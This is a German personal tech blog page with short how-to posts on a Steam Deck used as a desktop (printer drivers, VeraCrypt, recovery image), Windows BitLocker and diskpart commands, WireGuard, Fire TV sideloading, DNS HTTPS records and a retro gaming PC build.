Freitag, 4. Oktober 2024

Steam Deck - Install HP printer and scanner driver for ArchLinux (CUPS)

Nach dem ich mein Steam Deck auch als Desktop-Ersatz nutze, muss natürlich auch mein HP Multifunktions-Farblaserdrucker funktionieren. Grundlegende Infos zur Installations von Paketen findet ihr in meinem Beitrag Steam Deck - Veracrypt installieren (install ArchLinux packages).

Die nachfolgenden Schritte konnten erfolgreich unter VERSION_ID=3.5.19, BUILD_ID=20240422.1 von SteamOS (cat /etc/*release) durchgeführt werden.

Disable Read Only Steam Deck:
sudo steamos-readonly disable

Hauptpakete installieren:
sudo pacman -S cups ghostscript gsfonts hplip

Starten des CUPS printing service:
sudo systemctl enable --now cups 

Nach der Installation kann man im Browser unter http://localhost:631/admin den CUPS OpenPrinting Service öffnen und beliebige "Drucker hinzufügen".

HP Treiber plug-in installieren (root privileges are important here):
su root
sudo hp-setup -i

Ändern des root Passwort (falls noch nicht erfolgt):
sudo su
passwd

Jetzt dem nachfolgenden Anweisungen in der Konsole folgen!

Mit der letzten Frage, kann man sofort testen ob der Drucker funktioniert:
Would you like to print a test page (y=yes*, n=no, q=quit) ? y

Damit auch der Scanner funktioniert, muss noch unseren User (deck) zur Gruppe lp und Gruppe Scanner hinzufügen:
sudo gpasswd -a "$USER" lp
sudo gpasswd -a "$USER" scanner

Software zum Scannen installieren:
sudo pacman -S sane xsane simple-scan

Mit dem folgenden Befehl kann man überprüfen, ob ein Scanner gefunden wird:
sudo sane-find-scanner

Anschließend muss noch folgende Konfiguration angepasst werden:
sudo nano /etc/sane.d/dll.conf (hpaio => hinzufügen bzw. einkommentieren)

HPLIP Plugin Download and Install Utility installieren (root privileges are important here):
su root
sudo hp-plugin

Anschließend ist ein Scan direkt per GUI oder Konsole möglich:

sudo scanimage -L

Weitere Infos zu SANE finden sich auch unter: https://wiki.archlinux.org/title/SANE/Scanner-specific_problems#HP.


Steam Deck - E-Mail-Client (Thunderbird) mit Exchange / Office 365 verwenden (Linux)

Mit Hilfe von DavMail ist es möglich einen beliebigen E-Mail-Client (z.B. Thunderbird) mit Microsoft Exchange oder Office 365 zu verwenden. DavMail ist ein POP/IMAP/SMTP/Caldav/Carddav/LDAP-Gateway und kann unter Linux (somit auch Steam OS), MacOSX und Windows eingesetzt werden.


Ich selber verwende einen Hosted Microsoft Exchange von IONOS, und möchte auch mit meinem Steam Deck alle Vorteile der E-Mail- und Groupware-Lösung von Microsoft unter Steam OS nutzen.

Der Download erfolgt unter http://sourceforge.net/projects/davmail/files/, es muss die "davmail-version.zip" heruntergeladen werden.


Auf der Webseite von DavMail gibt es eine sehr gute Anleitung, siehe DavMail Setup on linux. Die ZIP-Datei muss nur entpackt und anschließend DavMail gestartet werden (./davmail).

Anschließend muss nur noch die Exchange OWA URL in der Konfiguration eingetragen werden. Siehe auch DavMail configuration.


Für die anschließende Konfiguration von Thunderbird (Mail, Kalender und Kontakte), bietet DavMail wieder ein sehr gute Anleitung.


Donnerstag, 3. Oktober 2024

Steam Deck - Veracrypt installieren (install ArchLinux packages)

Das Steam Deck lässt sich in einem Desktop-Modus starten und kann als "normaler" PC verwendet werden. So lässt sich das gesamte System, einschließlich der Systempakete, optimieren. In diesem Beitrag möchte zeigen, wie man VeraCrypt (Software zur Datenverschlüsselung) installieren kann.


Wie startet man in den Desktop?

Das "STEAM-Menü" öffnen, "Ein/Aus" auswählen und dann "Zum Desktop wechseln" anklicken.

Wie kann man sudo-Befehle ausführen?

Das "Terminalfenster" öffnen und mit dem Befehl passwd ein sicheres Passwort vergeben. Anschließend kann sudo überall dort eingesetzt werden, wo eine Erhöhung der Rechte erforderlich ist.

Wichtige Hinweise!

Kann man ArchLinux-Pakete auf dem Steam Deck installieren?

Ja, aber es ist nicht die empfohlene Vorgehensweise. Steam OS löscht die Systempartition nach jedem Update automatisch und eine erneute Installation ist erforderlich!
Flatpak ist daher die beste Möglichkeit, Pakete über der "Discover-App" auf dem Steam Deck zu installieren.

Valve bietet hierzu auch selber ein FAQ (Häufig gestellte Fragen zum Steam-Deck-Desktop) an, siehe https://help.steampowered.com/de/faqs/view/671A-4453-E8D2-323C.

Einrichten des Steam Deck-Systems

Wie oben bereits erwähnt, wird dies nach jedem Systemupdate rückgängig gemacht! Ich empfehle daher, ggf. ein Skript zu erstellen.

Systempartition des Steam Decks beschreibbar machen:
sudo steamos-readonly disable

Pacmans Schlüsselbund initialisieren:
sudo pacman-key --init

Füllen des Pacmans Schlüsselbund mit den Standard-Arch-Linux-Schlüsseln:
pacman-key --populate archlinux
pacman-key --populate holo

Aktualisieren der Systempakete:
sudo pacman -Syu

Jetzt kann man ArchLinux-Pakete auf dem Steam Deck installieren.

Veracrypt installieren

Die Installation kann jetzt mit dem folgenden Befehl erfolgen:
sudo pacman -S veracrypt


Damit ich meine verschlüsselten Festplatten mounten kann, habe ich die folgenden Ordner angelegt:

sudo mkdir /mnt/data
sudo mkdir /mnt/studium

Anschließend ist ein mount/dismount mit den folgenden Befehlen über die Konsole möglich:

sudo veracrypt -m=nokernelcrypto /home/deck/__disks/Storage-DATA-NEW /mnt/data
sudo veracrypt -m=nokernelcrypto /home/deck/__disks/Storage-STUDI-NEW /mnt/studium


sudo veracrypt -d /home/deck/__disks/Storage-DATA-NEW /mnt/data
sudo veracrypt -d /home/deck/__disks/Storage-STUDI-NEW /mnt/studium

 

Beispiel Script

#!/bin/bash
#
echo '------------------------------------'
echo '| Start veracrypt Steam OS         |'
echo '| (c) Sebastian Hemel, 2024        |'
echo '------------------------------------'
echo ' '

sudo veracrypt -m=nokernelcrypto /home/deck/__disks/Storage-DATA-NEW /mnt/data
kill -9 $PPID


Mittwoch, 2. Oktober 2024

Steam Deck - Auf Werkseinstellungen zurücksetzen (Wiederherstellungsabbild)

Valve bietet eine einfache Anleitung, um das Steam Deck auf Werkseinstellungen zurück zu setzen. Ich selber möchte nach über einem Jahr mein Deck wieder "frisch" aufsetzen.


Offizielle Anleitung: Steam Deck - Anleitung zur Wiederherstellung

 

  1. Download: Wiederherstellungsabbild (https://store.steampowered.com/steamos/download/?ver=steamdeck&snr=100601___) herunterladen.
  2. Erstellung des Wiederherstellungsmediums: Ein USB-Datenträger mit mindestens 8 GB ist notwendig.
  3. Linux Befehl für die Kommandozeile: bzcat steamdeck-recovery-1.img.bz2 | dd if=/dev/stdin of=/dev/sdX oflag=sync status=progress bs=128M
    Hinweis: /dev/sdX muss durch den angeschlossenen USB-Datenträger ersetzt werden. Siehe auch sudo lsblk --fs # Output info about filesystems.


Nachfolgend sind die  Schritte aus der oben genannten offiziellen Anleitung zu beachten.

  1. Verwenden Sie einen USB-C-Adapter oder -Hub und schließen Sie den Boot-Datenträger an.
  2. Fahren Sie das Steam Deck herunter, falls Sie dies nicht bereits getan haben. Halten Sie die Leisertaste (Lautstärke –) gedrückt und drücken Sie die Power-Taste. Lassen Sie die Leisertaste (Lautstärke –) wieder los, sobald der Ton erklingt, und das System startet mit dem Boot Manager.
  3. Wählen Sie im Boot Manager den Systemstart über „EFI USB Device“ („EFI USB-Gerät“, Ihren USB-Datenträger).
  4. Der Bildschirm wird nun schwarz. Dies ist Teil des Vorgangs und sollte nicht lange anhalten.
  5. Nach dem Start befinden Sie sich in einer Desktopumgebung und können das Trackpad und die Trigger verwenden.



Dienstag, 3. September 2024

Windows - BitLocker Wiederherstellungsschlüssel sichern (Konsole, Terminal)

Der BitLocker-Wiederherstellungsschlüssel (48-stellige Nummer) wird benötigt, wenn BitLocker ein verschlüsseltes Laufwerk in Windows nicht automatisch entsperren kann. Dieser Schlüssel wird verwendet um wieder Zugriff auf das Laufwerk zu erhalten!

Hinweis: Die BitLocker-Laufwerkverschlüsselung kann aktiv sein, ohne es zu wissen! Nur mit dem Wiederherstellungsschlüssel kann man wieder auf seine Daten zugreifen.

Mit Hilfe des Terminals (Windows+X) "Terminal (Administrator)" müssen die nachfolgenden Befehle ausgeführt werden.

manage-bde status (Laufwerkverschlüsselung aktiv?)

manage-bde -status

In diesem Beispiel "Der Schutz ist deaktiviert", ist die Verschlüsselung nicht aktiviert. Es muss somit kein Wiederherstellungsschlüssel gespeichert werden.

manage-bde protectors (Wiederherstellungsschlüssel speichern)

manage-bde -protectors -get C:

manage-bde -protectors -get C: > $env:userprofile\Desktop\BitLocker.txt

Eine Anleitung per GUI gibt es direkt von Microsoft (Wiederherstellungsschlüssel sichern):
https://support.microsoft.com/de-de/windows/sichern-des-bitlocker-wiederherstellungsschl%C3%BCssels-e63607b4-77fb-4ad3-8022-d6dc428fbd0d


Mittwoch, 14. August 2024

Windows - USB-Stick kann nicht formatiert werden (diskpart - Schreibschutz vorhanden)

Lässt sich ein USB-Stick nicht mehr unter Windows formatieren mit der Meldung "Stick ist  schreibgeschützt", dann kann man den Schreibschutz mit Hilfe von diskpart aufheben. Etwas ähnliches hatte ich bereits unter Windows - Gelöschte Dateien und Partitionen von Festplatten wiederherstellen beschrieben.


Formatieren mit diskpart

  • Eingabeaufforderung mit Administratorrechten starten.
  • Diskpart starten, diskpart
  • Alle Datenträger auf dem Computer anzeigen, list disk.
Richtigen! Datenträger auswählen und Partitionen anzeigen:
  • select disk 2
  • list part
Partitionstabelle löschen und eine neue primäre Partition erstellen und formatieren:
  • clean
  • create part primary
  • format fs=exfat quick


Schreibschutz aufheben mit diskpart

  • select disk 2
  • Schreibschutzstatus prüfen,attributes disk
  • Schreibschutz aufheben, attributes disk clear readonly



Freitag, 2. August 2024

WireGuard - Automatischer VPN Zugriff mit der App "WG Tunnel"

In dem Beitrag FRITZ!Box - VPN Zugriff mit WireGuard (FritzOS 7.50), habe ich auf die "Original" WireGuard-App verwiesen. Mittlerweile gibt es auch die alternative WireGuard-App WG Tunnel, welche viele Extras bietet.


Selbstständig VPN-Tunnel aktivieren

Mit Hilfe der App kann sofort eine VPN-Verbindung zum Heimnetzwerk aufgebaut werden, wenn man z.B. mit einem öffentlichen oder fremden WLAN verbindet.

Download bei Google Play oder F-Droid.
 
Hierfür muss in den Einstellungen die Option "Tunnel bei nicht vertrauenswürdigem WLAN" eingeschaltet werden.

Jetzt trägt man nur noch SSIDs der WLANs ein, denen man vertrauen möchte (z.B. das eigene Heim-WLAN). Hinweis, damit dies funktioniert muss die Standort-Berechtigung freigegeben werden.

Wie unter meinem o.g. Beitrag, kann man den WireGuard-Tunnel einfach per QR-Code-Scan hinzufügen.

Eine weitere interessante Funktionen ist das "Split Tunneling".


Mittwoch, 31. Juli 2024

Amazon Fire TV - Sideloading von Android-Apps mit ADB via WLAN

In einem Beitrag von 2019 hatte ich beschrieben, wie man Amazon Fire TV - Sideloading von Android-Apps (Kodi) mit Hilfe der "Downloader" App durchführen kann. Alternativ geht dies auch mit Hilfe von ADB (Android Debug Bridge).

Um schnell seine gewünschten APKs installieren zu können, lädt man sie am Besten vorab auf seinen PC. Eine gute Anlaufstelle hierfür ist z.B. www.apkmirror.com.

ADB-Treiber installieren

Die Installation der Treiber sind per Android Developer Studio (siehe auch Amazon Fire-Tablet - Spezialangebote (Werbung) entfernen) oder mittels sudo apt-get install adb / sudo pacman -S android-tools möglich.


APK-Dateien installieren

Mit dem Befehl adb start-server, wird die Android Debug Bridge gestartet.
Jetzt verbindet man such durch adb connect <IP-Addresse-Fire-TV>:5555 mit dem Stick.

Hinweis: Auf TV muss jetzt der "Hinweis über den eingehenden Verbindungsaufbau" bestätigt werden!

Nun lassen sich die APK-Dateien mittels adb install -r <Dateiname>.apk übertragen.


Dienstag, 30. Juli 2024

Amazon Fire TV - USB Zubehör (Maus, Tastatur, Ethernetadapter und Datenträger) anschließen

Über ein USB Y-Kabel lässt sich an einem Amazon Fire TV Stick einiges an Zubehör via USB anschließen. Es werden z.B. Maus, Tastatur, Ethernetadapter, Datenträger und auch Kameras werden unterstützt.


Amazon Fire TV Stick - USB Y-Kabel

Über den Micro-USB-Anschluss des Sticks lässt sich mit einem entsprechenden Adapter (z.B. USB-OTG Adapter-Kabel Micro-USB für ca. 6 EUR) das o.g. Zubehör anschließen.


Dies kann nützlich sein,

  • um das eingebaute WLAN zu umgehen und auf Ethernet umzusteigen,
  • eine Tastatur-Maus Kombination (z.B. Logitech K400 Plus ca. 40 EUR) zu verwenden,
  • einen USB Datenträger anzuschließen (FAT32-Formatierung)
  • oder eine Webcam zu verwenden.

Viel Spaß beim Ausprobieren!

Montag, 24. Juni 2024

Datenschutz - Die eigene Privatsphäre schützen? Tipps!

Mike Kuketz stellt Hilfsmittel und Anleitungen bereit, mit denen jeder seine Privatsphäre, seine Daten besser schützen kann.

Die Empfehlungsecke im Blog des Sicherheitsrates- und Datenschutzexperten steht unter der CC BY-SA 4.0-Lizenz unter ist unter der folgenden URL zur Verfügung:


 

Sonntag, 23. Juni 2024

Meta - Widerspruch gegen das Trainieren der eigenen KI (Facebook und Instagram)

Ab dem 26. Juni 2024 will Meta (Facebook, Instagram) öffentlich zugängliche Daten (Posts / Kommentare / Bilder usw. von Usern) die über die angebotenen Produkte und Services geteilt werden zum Trainieren der eigenen KI verwenden.

Hintergrund

Den Einsatz generativer KI beschreibt Meta z.B. unter https://www.facebook.com/privacy/genai.

Aktuell verzichtet Meta in Europa noch auf die Verwendung von Nutzerdaten für sein KI-Training, ich empfehle hier aber dennoch sicherheitshalber einen Widerspruch!

Über die folgenden Formulare, kann man "Einspruch einlegen"


Hinweis: Die Formulare werden nur angezeigt, wenn man eingeloggt ist. Ein Widerspruch ist rechtlich gesehen nicht an eine Form gebunden! Daher kann man auch per E-Mail widersprechen.

Dienstag, 11. Juni 2024

AVM FRITZ!Box - Risiko bei der lokalen Namensauflösung (fritz.box)

Schon seit 2016 kann die Top Level Domain .box gebucht werden (Neue Top Level Domain .box bringt manche Netze durcheinander), dies kann abhängig vom jeweiligen DNS-Resolver zu Problemen führen.Bei der Fritzbox von AVM wird standardmäßig der Domainname fritz.box im internen Netz verwendet.


Domainname fritz.box

Die Fritzbox ist im lokalen Netz über den Namen fritz.box erreichbar. Mann muss daher nicht die IP-Adresse z.B. 192.168.178.1, 192.168.1.1 eingeben. 

Allerdings kann die Domains fritz.box sowohl in privaten Netzen als auch im Internet registriert sein (Überfällig: ICANN legt sich auf Namen für interne Domains fest)! Überprüfen lässt sich dies mit Hilfe von nslookup fritz.box (siehe auch für die Verwendung).


Wie lässt sich das Problem bzw. der DNS-Resolver umgehen? 

 

Sonntag, 9. Juni 2024

Windows - Produktkeyschlüssel (Lizenzschlüssel) über die Eingabeaufforderung auslesen

In dem Beitrag "Windows - 10 / 11 von Home in Pro ändern bzw. upgraden (Fehler 0xc004f050)" bin ich bereits kurz auf das Thema "Key / Schlüssel von Windows auslesen" eingegangen.


Wie finde ich jetzt den Windows-Lizenzschlüssel über die Eingabeaufforderung heraus?

Der nachfolgende Befehl muss dafür in der Kommandozeile (cmd) verwendet werden:
wmic path SoftwareLicensingService get OA3xOriginalProductKey

Der Windows-Produktschlüssel sollte jetzt angezeigt werden.

Freitag, 31. Mai 2024

Linux - Linux Mint und Fedora Workstation installieren (c't 12/2024)

In der c't 12/2024 findet sich ein wirklich guter Artikel zum Linux-Umstieg und der Installation von Linux Mint und Fedora Workstation.

Artikel - Umzug nach Linux: https://www.heise.de/select/ct/2024/12/2409309152336622328

Videoanleitung - Linux Mint Cinnamon installieren: https://www.youtube.com/watch?v=fIqbo1fGV-E

Videoanleitung - Fedora Workstation installieren: https://www.youtube.com/watch?v=cRIeogbzET4

Weitere nützliche Links finden sich unter https://ct.de/yv7c.

 

Montag, 20. Mai 2024

Balkonkraftwerke / PV-Anlagen - Berechnung der Wirtschaftlichkeit

Balkonkraftwerke werden immer beliebter und mit dem Solarpaket I der Bundesregierung wurde die Einspeiseleistung auf 800 Watt angehoben. Was sich finanziell lohnt, kann man anhand von verschiedene Größen mittlerweile sehr schnell ausrechnen.


Hintergrund

Die typische Ausgangsleistung eines aktuellen Solarmodul beträgt in der Regel 350 bis 470 Watt. Handelsübliche Balkonkraftwerke mit zwei Modulen können somit die doppelte Menge Strom produzieren. Mit dem Solarpaket I (Mitte Mai 2024) darf man nun maximal 800 Watt in das öffentliche Netz einspeisen. Wird mehr Strom produziert, drosselt der Wechselrichter die Einspeisung.

Ich selber habe mich für ein Balkonkraftwerk mit 375Wp und 300W Hoymiles Mikrowechselrichter entschieden. Gute Balkonkraftwerke-Sets finden sich z.B. bei https://www.alpha-solar.info/Balkonkraftwerke-Set/ .

Solarrechner

PV-GIS der EU-Kommission, errechnet im Idealfall für mein Modul ein Jahresertrag von 423 kWh.


HTW Berlin, bietet versch. Rechner an, z.B. einen Unabhängigkeitsrechner um den Autarkiegrad in Abhängigkeit der Größe der PV-Anlage und des Stromspeichers.

Sonnenverlauf.de, ist eine online Anwendung zum Ermitteln von Sonnenverlauf (Sonnenaufgang und Sonnenuntergang).

Ertragsplanung

Idealerweise nutzt man sein Balkonkraftwerk um E-Bikes oder sonstige Akkugeräte zu laden, wenn gerade eine Überlast vorhanden ist. Dies lässt sich über eine einfache Zeitschaltuhr oder intelligente Steckdose wie z.B. AVM FRITZ!DECT 200 realisieren.
Für die zu erwartende Leistung eines Balkonkraftwerks kann die Android App solXpect verwendet werden. Die Berechnung erfolgt auf Basis von Strahlungsdaten von Open-Meteo.


Freitag, 17. Mai 2024

DNS - HTTPS Resource Record verwenden (Backup Server, Port-Signalisierung)

In meinem letzten Beitrag zum Thema DNS habe ich gezeigt, wie man die Eigene Domain auf eine andere IP mit Hilfe von Bind umleiten kann. Mit Hilfe des Domain Name System (DNS) wird die Namensauflösung im Internet durchgeführt. Diese Einträge werden als Resource Records (RR) bezeichnet. Die A- und die AAAA-Records sind zum Beispiel die Einträge für IPv4-/IPv6-Adressen der Server. Der DNS-Record „HTTPS“ kann als weiteres Steuerelement verwendet werden.


Der HTTPS-Record ist eine Variante des SVCB-Records und wurde speziell für die Verwendung mit dem HTTPS-Protokoll entwickelt. Um eine HTTPS-Verbindung aufzubauen, muss ein Client in der Regel zuerst eine HTTP-Verbindung aufbauen, dies erzeugt Latenz. Der DNS-Eintrag vom Typ HTTPS kann diese Latenz zu verringern.

Aufbau des HTTPS Resource Records

example.com. 300 IN HTTPS 10 backup01.example.com. alpn="h3,h2" port=8443

  • example.com. => Name - Domainname der Website
  • 300 => TTL - Time to Live: maximale Caching-Zeit
  • IN => Klasse Internet (konstanter Wert)
  • HTTPS => Typ des Resource Records
  • 10 => SvcPriority - Priorität des Eintrags (kleiner Wert = höhere Priorität)
  • backup01.example.com. => TargetName - Hostname des Webservers. Der Wert „.“ bedeutet, dass der Hostname dem Domainnamen der Website entspricht
  • alpn="h3,h2" port=8443 => SvcParams - Liste von definierten Parametern nach dem Schema „key=value“.

Quelle: https://de.wikipedia.org/wiki/HTTPS_Resource_Record

Die Abfrage des HTTPS-Record ist mit den Tools dig oder kdig möglich. Nicht aber mit nslookup!
dig google.com https

Beispiele für die Nutzung des HTTPS-Record

Backup Server
example.com. 300 IN HTTPS 10 backup01.example.com.
example.com. 300 IN HTTPS 20 backup02.example.net.
example.com. 300 IN HTTPS 30 backup03.example.de.


Port-Signalisierung
app1.example.de IN HTTPS 1 . port=8443
Hier wird die Applikation nicht über den üblichen Port 443 ausgeliefert. Die Eingabe vom Port https://app1.example.de:8443/login in der URL kann entfallen.

Beispiel Abfragen von Records mit Hilfe von nslookup

Nslookup gefolgt vom Domänennamen zeigt den „A-Record“ (IP-Adresse) der Domain an.

(deck@steamdeck ~)$ nslookup shemel.de
Server:         127.0.0.53
Address:        127.0.0.53#53


Non-authoritative answer:
Name:   shemel.de
Address: 178.254.0.77



Abfrage des NS-Eintrags einer Domain
Der NS-Eintrag zeigt alle Nameserver einer Domain an.

(deck@steamdeck ~)$ nslookup -type=ns shemel.de
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
shemel.de       nameserver = ns01.1blu.de.
shemel.de       nameserver = ns02.1blu.de.



Abfrage des MX-Eintrags
Der MX-Eintrag (Mail-Exchange-Server) einer Domain. Siehe auch Mailserver - Zugriff auf TCP Port 25 (smtp) mit telnet testen.

(deck@steamdeck ~)$ nslookup -type=mx microsoft.com
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
microsoft.com   mail exchanger = 10 microsoft-com.mail.protection.outlook.com


Mittwoch, 17. April 2024

PowerShell - ISO-Dateien mounten (Mount-DiskImage)

Bei älteren Versionen von Windows wurden noch separate Tools benötigt, um ISO-Dateien als virtuelle Laufwerke einzubinden (mounten). Seit Windows 8 ist dies mit Hilfe der PowerShell und der Funktion Mount-DiskImage Out-of-the-box möglich.


Mounting ISO

ISO-Datei über -ImagePath übergeben (absoluter Pfad inklusive Laufwerkskennnung):

Mount-DiskImage -ImagePath "E:\ISO-Files\My US Visit Fall 2010 Pictures.iso"

Dismount

Ein Dismount erfolgt mit Hilfe der Funktion Dismount-DiskImage:

Dismount-DiskImage -ImagePath "E:\ISO-Files\My US Visit Fall 2010 Pictures.iso"


Montag, 25. März 2024

VoIP - Festnetznummern umziehen und per SIP (auch im Mobilfunk) nutzen

In diesem Beitrag möchte ich euch zeigen, wie man z.B. die Festnetznummern der Eltern, Großeltern, Mitbewohnern oder als Erbe übernehmen kann und die oftmals viel kürzeren Rufnummern weiter nutzen kann.Alternativ ist auch gänzlicher Verzicht auf das Festnetz möglich, denn mit einer 4G/5G AVM FRITZ!Box lässt sich auch zu Hause mit Festnetztelefonen mobil telefonieren.

Festnetznummern sind sind aktuell bis zu 12 Stellen lang. Kürzere Nummern, wie z.B. vom Ski-Lift Eisenberg (06677-666) werden NICHT MEHR NEU VERGEBEN!

"Aktuell sind Festnetznummern inklusive der führenden Null und der Vorwahl bis zu 12 Stellen lang. Ist eine Nummer kürzer als nach diesen Vorgaben, wird sie nicht neu vergeben, wenn sie einmal außer Betrieb genommen wurde. Als ehemaliger Inhaber kann man sie maximal sechs Monate lang zurückbekommen, wenn alle Voraussetzungen für eine Zuteilung gegeben sind. Nach dieser Gnadenfrist aber ist sie endgültig weg." Quelle: Stelligkeit - www.bundesnetzagentur.de/865780

Inhaber haben aber die Möglichkeit alte Festnetznummern maximal sechs Monate lang zurückbekommen, wenn die Voraussetzungen dafür gegeben sind. Ein Umzug zu einem VoIP-Anbieter ist möglich und kann somit die ggf. sehr kurze Festnetznummer der Eltern oder Großeltern retten. 

Hierbei sind aber wie bereits oben erwähnt Vorschriften einzuhalten:

  • Der Ortsnetzbezug muss erhalten bleiben.
  • Möchte ich eine Rufnummer in 36286 Neuenstein (Vorwahl 06677) behalten, muss ich dort auch wohnen.
  • Rufnummern lassen sich auf Kinder überschreiben, wenn diese z.B. das ehemalige Elternhaus übernehmen.
  • Tipp: Auch ein Zweitwohnsitz kann hierfür genutzt werden oder die Adresse von Verwandten im Ort mit gleichem Nachnamen.
  • Siehe auch Infoseite der Deutschen Telekom "Übernahme eines Festnetz-Vertrags".

Können die oben genannten Bedingungen erfüllt werden, dann ist ein Umzug nach Kündigung des Festnetzanschlusses zu einem beliebigen VoIP-Anbieter (fonial.de, bellsip.com, voip2gsm.eu) möglich. Eine Alternative wäre auch eine direkte Nutzung z.B. per Handyvertrag bei o2

Jetzt wäre auch eine Nutzung per Fritz!Box (siehe Fritz!Box - VoIP telefonieren per PC) oder Android VoIP Client möglich.

Mit dem Festnetztelefon zu Hause mobil telefonieren

Aktuell kostet der günstigste Telekom Tarif für ein Festnetzanschluss 27,95 EUR im Monat (MagentaZuhause Start). Hierfür ist zudem ein Router erforderlich, da es sich hier um einen DSL-Tarif handelt! Somit belaufen sich die Kosten in einem Jahr auf über 335 EUR.

Für Senioren, welche wie gewohnt per DECT-Telefon erreichbar sein möchten, bietet sich die oben beschriebene Alternative an.

  1. Festnetzvertrag kündigen.
  2. Rufnummer zu einem VoIP-Anbieter umziehen.
  3. Einen LTE-Router kaufen und mit einer günstigen Mobilfunk-Karte betreiben.

So ist z.B. ein Blau Allnet L Flex für 5,99 EUR vollkommen ausreichend und die Kosten für einen LTE-Router sind bereits nach wenigen Monaten amortisiert!

Ein sehr guter LTE-Router ist z.B. die AVM FRITZ!Box 6850 (LTE-Modem, bis zu 150 MBit/s, WLAN AC+N bis 866 MBit/s (5 GHz) und 400 MBit/s (2, 4 GHz), 4 x Gigabit-LAN, 1x USB 3.0) für ca. 170 EUR.


Sonntag, 11. Februar 2024

Retro - Geeignete Shuttle XPC's (SK41G, SS51G) für den Einsatz von 3dfx Voodoo AGP Grafikkarten (3,3V)

Wie sollte ein kompakter Retro-Gaming-PC aus den Jahren 1999 - 2000 am Besten aussehen? In diesem Beitrag möchte euch meine zwei Favoriten vorstellen!

Anfang der 2000er präsentierte Shuttle Inc. die ersten Mini-Aluminium-Barebone-Systeme (XPC). Ein XPC ist ein sehr kompakter PC und lässt sich dank seines Formates auf dem Schreibtisch oder im Wohnzimmerregal verwenden. Die Barebones sind "halbfertige PCs". Sie bestehen aus Hauptplatine, Netzteil, Kühlung und Gehäuse. Die weiteren Komponenten wie Prozessor, Arbeitsspeicher, Festplatte und Grafikkarte können je nach Kundenwunsch gekauft werden.

Quelle: https://archive.shuttle.eu/

3dfx Interactive der 3D-Pionier mitte der 1990er Jahre, bis zur Übernahme durch den Konkurrenten Nvidia im Dezember 2000. Erstmals war es im Jahr 1996 mit einer Voodoo Graphics 3D-Beschleuniger (SST-1, z.B. Diamond Monster 3D, 640 × 480 Pixel) möglich, polygonal gestaltete Spielwelten mithilfe des dedizierten Chips zu beschleunigen und die zuvor blockigen Texturen bilinear zu interpolieren.

Bei der Verwendung von 3dfx Voodoo AGP Grafikkarten ist es extrem wichtig, auf die Spannung (3,3V) des AGP-Steckplatz (AGP 2x) zu achten! Die folgenden Grafikkarten lassen sich daher nur in den zwei genannten Shuttle XPCs verwenden:

Nur die 3dfx Voodoo4 4500 AGP ist AGP 4x fähig und unterstützt den 1,5V-Modus! Sie lässt sich somit auch in anderen Shuttle XPC verwenden. Leider wurde die Voodoo4 4500 AGP nur in geringen Stückzahlen hergestellt und ist mittlerweile auf z.B. eBay für weit über 400 EUR zu bekommen.

XPC SK41G - Mainboard FX41 - Sockel A AMD Athlon XP

 


XPC SS51G - Mainboard FS51 - Socket 478 Intel Pentium 4

Ich selber empfehle für ein "halbwegs" kostengünstiges 3dfx-Retro-Shuttle eine 3dfx Voodoo3 2000 / 3000 AGP 16MB Grafikkarte. Die Voodoo3 war der zweite 2D/3D Kombichip von 3dfx.

Aufgrund des kleinen passiven Kühler der Voodoo3 2000, passt diese perfekt in die Shuttle XPC (SK41G, SS51G) und ist der Voodoo3 3000 ggf. zu bevorzugen. 


Gekühlt wird diese Karte (wie fast alle Modelle) passiv, was zur folge hat das der Kühler nach kurzer Zeit sehr heiß wird. Allerdings war bisher in meinem Shuttle keine aktive Kühlung notwendig, da die XPCs sehr gut belüftet sind. 

Meine aktuelle Konfiguration des Shuttle XPC SK41G

CPU: AMD XP 2400+ (Thoroughbred) SDA2400DUT3D Sockel 462 A FSB333

  • Frequency: 1667 MHz
  • Bus speed: 333 MHz
  • Level 1 cache size: 64 KB code; 64 KB data
  • Level 2 cache size: Full speed on-die exclusive 256 KB

Grafikkarte: 3dfx Voodoo 3 3000 AGP

  • RAM: 16 MB
  • Speichertakt: 166 MHz
  • RAMDAC: 350 MHz
  • Chiptakt: 166 MHz
  • Connectors: VGA, TV-Out


Arbeitsspeicher: 512 MB RAM (2x 256 MB DDR266 Speicher)

Festplatte: 40GB HDD Seagate Festplatte IDE ST340014A Barracuda 7.200 rpm

Laufwerke: 

  • NEC ND-1100A DVD+RW Brenner ATAPI IDE dunkelgrau
  • 1,44MB Diskettenlaufwerk

Soundkarte: Creative Labs Sound Blaster Live CT4670 PCI

Microsoft Sidewinder Gamepad 1.0 (Game Port)

Betriebssystem: Windows 98 SE mit dem neuesten Service Pack, siehe www.creopard.de/projekte/windows-98-se-service-pack.htm .

3dfx Treiber: Voodoo3 2000/3000 AGP/PCI - Windows 95/98/ME WHQL - Version 1.07.00 (30.11.2000) 8.36 MB

Installierte Games:

  • Unreal, Unreal Tournament, Age of Empires, Quake, Quake II, Blood, Need for Speed II SE, Shadow Warrior, Duke Nukem 3D, Dune 2000, FIFA: Road to World Cup 98, Tomb Raider, Turok, Z

 

Ich wünsche viel Erfolg beim Nachbauen!

Sonntag, 28. Januar 2024

Raspberry Pi - Ermitteln der CPU-Temperatur (vcgencmd)

Die Überwachung der Temperatur des Raspberry Pi kann sehr wichtig sein, wenn man ihn in einem Bereich mit einer geringer Luftzirkulation betreibt.Offiziell ist der Prozessor für  Temperaturen von ca. -40 °C bis 85 °C ausgelegt.

Das Ablesen der Temperatur kann mit dem folgenden Befehl durchgeführt werden:

vcgencmd measure_temp

oder

/opt/vc/bin/vcgencmd measure_temp


Hinweis: Wenn sich die Temperatur des Raspberry Pi der Obergrenze nähert, beginnt das System automatisch, den Prozessor zu drosseln!

Samstag, 27. Januar 2024

Asymmetrische Kryptografie - Grundwissen (Zertifikate, OpenSSL, Public-Key-Authentifizierung, RSA)

In diesem Beitrag beschreibe ich das asymmetrische Kryptosystem. Ich zeige, wie man private Schlüssel mit dem Kommandozeilentool OpenSSL generieren und verwenden kann. Am Ende des Beitrags hat man verstanden, was genau eigentlich Zertifikate von CA’s mit einer Public-Key-Authentifizierung und RSA zu tun haben.


OpenSSL

Als Basis Tool für den Umgang mit privaten und öffentlichen Schlüsseln, Zertifikaten oder Zertifizierungsanfragen dient das Kommandozeilentool openssl. OpenSSL verfügt zudem über eine Vielzahl von Befehlen um Schlüssel und Zertifikate zu erstellen, zu Signieren, Umzuwandeln oder zu verschlüsseln.
